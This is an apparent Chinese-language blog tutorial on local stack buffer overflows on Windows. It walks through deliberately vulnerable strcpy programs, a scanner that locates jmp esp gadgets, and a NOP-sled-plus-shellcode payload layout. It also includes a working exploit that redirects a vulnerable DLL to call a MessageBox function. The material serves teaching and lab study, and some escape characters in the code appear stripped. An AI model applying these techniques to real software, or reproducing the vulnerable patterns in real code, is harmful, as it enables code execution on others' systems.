• 本地缓冲区溢出分析


    栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。

    前面的笔记《缓冲区溢出与攻防博弈》中已经具体的介绍了缓冲区溢出的基本知识,也了解到了攻防双方技术的博弈过程,本次我们将来看几个简单的本地溢出案例,本次测试环境为Windows10系统+VS 2013编译器,该编译器默认开启GS保护,在下方的实验中需要手动将其关闭。

    C语言中通常会提供给我们标准的函数库,这些标准函数如果使用不当则会造成意想不到的后果。

    strcpy()                    vfscanf()
    strcat()                     vsprintf()
    sprintf()                    vscanf()
    scanf()                     vsscanf()
    sscanf()                   streadd()
    fscanf()                    strecpy()
    

    ### 针对EXE文件的溢出利用

    以下案例就是利用了 strcpy() 函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的 geting()函数接收,并通过strcpy()函数将临时数据赋值到name变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定。

    #include <stdio.h>
    #include <string.h>
    
    void geting(char *temp){
    	char name[10];
    	strcpy(name, temp);
    	printf("%s 
    ", name);
    }
    
    int main(int argc,char *argv[])
    {
    	geting(argv[1]);
    	return 0;
    }
    

    直接保存为overflow.c然后执行 cl /Zi /GS- overflow.c 编译并生成可执行文件,参数中的/GS-就是关闭当前的GS保护。

    C:UsersLySharkDesktop>cl /Zi /GS- overflow.c
    用于 x86 的 Microsoft (R) C/C++ 优化编译器 18.00.21005.1
    
    overflow.c
    Microsoft (R) Incremental Linker Version 12.00.21005.1
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /out:overflow.exe
    /debug
    overflow.obj
    

    接着我们需要在命令行界面中运行来启动调试器,其中第一个参数 overflow.exe 就是我们的程序名,第二个参数是传入命令行参数,我们首先传入一个正常大小的字符串。

    C:OllyICE> OllyICE.exe overflow.exe hello
    

    载入上面所编写的 exe 程序。由于我们需要从 main 函数开始分析,但是OD并没有在main函数处停下,而是停在了程序的初始化部分,如下图所示:

    上方这些代码并不是我们写的而是编译器自动生成的,这里我们无需关心这些代码片段,我们只需要找到程序的OPE入口即可,通过观察获取,这里经过不断地分析找到了程序的OEP 0012A1050,直接在此处下断点。

    进一步分析后观察发现,下方代码就是我们程序中的 geting()这个函数,溢出也正是发生在这里的,注意堆栈变化。

    这里由于我们传递了正常的参数,所以没有溢出,下图可看出程序正常返回并没有覆盖ESP/EIP等指针。

    重新运行程序,然后输入一个超长字符串,这里我就输入一串 lysharkAAAAAAAAABBBB

    上方截图可知,程序的返回地址已被BBBB等字母霸占了,当程序执行ret指令返回时,程序会在堆栈中取出42424242并将该地址赋值给EIP指针,而42424242这个地址是错误的指令,所以程序会报错。

    除此之外还需要查找系统中的跳板指令,这里的跳板是程序中原有的机器码,其包括如 jmp esp,call esp,jmp ecx等,我们需要利用这些跳板指令完成对堆栈地址的定位。

    再次运行程序,然后输入一个正常字符串 lyshark ,用OD载入,执行到main函数最后的位置,即retn语句处,此时我们关注一下esp寄存器所保存的值:

    上图可知,现在esp中保存的值是012A1067,而在栈中这个地址对应的就是我们的返回地址,即我们下一条语句的位置。然后我们此时再按一下F8,单步执行,那么此时Geting()函数就会执行完毕:

    我们还发现ESP指针的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的,因为堆栈的地址是动态变化的,所以我们才需要找到一个跳板函数来实现跳转到堆栈中布置好的ShellCode中去。

    jmp esp 这条机器指令,在很多动态连接库中都存在,jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,这里必须查找程序中已经加载的动态链接库。

    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
    	BYTE *ptr;
    	int position;
    	HINSTANCE handle;
    	BOOL done_flag = FALSE;
    	handle = LoadLibrary("kernelbase.dll");
    	ptr = (BYTE*)handle;
    
    	for (position = 0; !done_flag; position++)
    	{
    		try
    		{
    			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
    			{
    				int address = (int)ptr + position;
    				printf("找到跳板指令:0x%x
    ", address);
    			}
    		}
    		catch (...)
    		{
    			int address = (int)ptr + position;
    			printf("结束指针位置:0x%x
    ", address);
    			done_flag = true;
    		}
    	}
    	getchar();
    	return 0;
    }
    

    上方代码运行后,会得到一个跳板地址 0x76c2fb75 如下,当然其他的模块中可能存在更多的跳板指令。

    我们手动将堆栈中的 424242 替换为 0x76c2fb75 注意该地址应该反写,如下所示:

    当程序运行时,首先会ret返回,而程序返回会在堆栈中将 0x76c2fb75 这个内存地址回写到 EIP中,然后会执行第一次跳转,其跳转到 kernelbase.dll 中的 jmp esp 中。

    观察发现,esp指针的地址是 013DFBE8 ,也就将当前程序的控制流指向了堆栈中,我们只需要在堆栈中布置好合理的ShellCode就可以执行任意代码。

    至此该程序就分析完毕了,经过分析我们的ShellCode代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode

    这里的A 代表的是正常输出内容,其作用是正好不多不少的填充满这个缓冲区。
    这里的B 代表的是 jmp esp 的机器指令,该处应该为 0x76c2fb75 。
    这里的N 代表Nop雪橇的填充,一般的 20 个Nop左右就好。
    这里 ShellCode 就是我们要执行的恶意代码啦。

    输入方式应该是,当程序运行后会先跳转到 jmp esp 并执行该指令,然后jmp esp 会跳转到 nop雪橇的位置,程序的执行流会顺着nop雪橇滑向ShellCode代码,从而实现反弹Shell。

    D:OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode


    ### 针对Dll文件的溢出利用

    很多时候我们要分析的目标不是一个EXE可执行文件,而是一个DLL文件,这样的例子很多,比如Windows系统中有很多系统模块都是DLL文件,这些文件如果出现漏洞该如何利用呢?接下来我们将来研究针对DLL文件的利用方法,最后编写利用代码实现DLL文件的利用。

    1.首先我们先来创建一个 ntdll.cpp 的可执行文件,其中有两个函数,一个是弹窗提示,而另一个则是字符串的拷贝函数,编译这个DLL文件。

    #include <windows.h>
    #include <iostream>
    #pragma comment(lib,"User32.lib")
    
    bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){
    	return true;
    }
    
    extern "C"__declspec(dllexport) void ntMsgBox(){
    	::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);
    }
    
    extern "C"__declspec(dllexport) void ntCheck(char *Code){
    		char name[10];
    		strcpy(name,Code);
    		printf("Buffer Is: %s",Code);
    }
    
    C:Users> cl /c /GS- /EHsc ntdll.cpp
    C:Users> link /dll ntdll.obj
    

    接着我们通过缓冲区溢出漏洞,实现调用 ntCheck函数是,让其弹出 MsgBox 提示框,通过OD分析找到MsgBox地址是 0x5BAB1090 接着编写利用代码如下:

    #include <windows.h>
    #include <iostream>
    #include <string.h>
    typedef void(*MyPROC)(char *);
    
    int main(){
    	HINSTANCE libHandle;
    	MyPROC Func;
    	char DllName[] = "./ntdll.dll";
    	libHandle = LoadLibrary(DllName);
    	Func = (MyPROC)GetProcAddress(libHandle, "ntCheck");
    
    	char Str[0x4096];
    	 char source[] = "x41x41x41x41x41x41x41x41x41" // 填充满缓冲区
    		"x90x10xabx5b"                                                     // 跳转到MsgBox
    
    	memcpy(Str,source,sizeof(source));
    	(Func)(Str);
    	FreeLibrary(libHandle);
    	return 0;
    }
    

    随着编译器厂商和操作系统厂商的各种新技术的出现,这些传统的缓冲区溢出的利用已经变得非常困难了,所以以上笔记只能作为原理方面的研究,并没有实际价值。

  • 相关阅读:
    SonarQube系列三、Jenkins集成SonarQube(dotnetcore篇)
    SonarQube系列二、分析dotnet core/C#代码
    SonarQube系列一、Linux安装与部署
    asp.net core 集成JWT(二)token的强制失效,基于策略模式细化api权限
    asp.net core 集成JWT(一)
    visual studio 各版本激活码
    服务网关Ocelot 入门Demo系列(01-Ocelot极简单Demo及负载均衡的配置)
    一人撸PaaS之“应用”
    使用Roslyn脚本化C#代码,C#动态脚本实现方案
    try.dot.net 的正确使用姿势
  • 原文地址:https://www.cnblogs.com/LyShark/p/11434201.html
Copyright © 2020-2023  润新知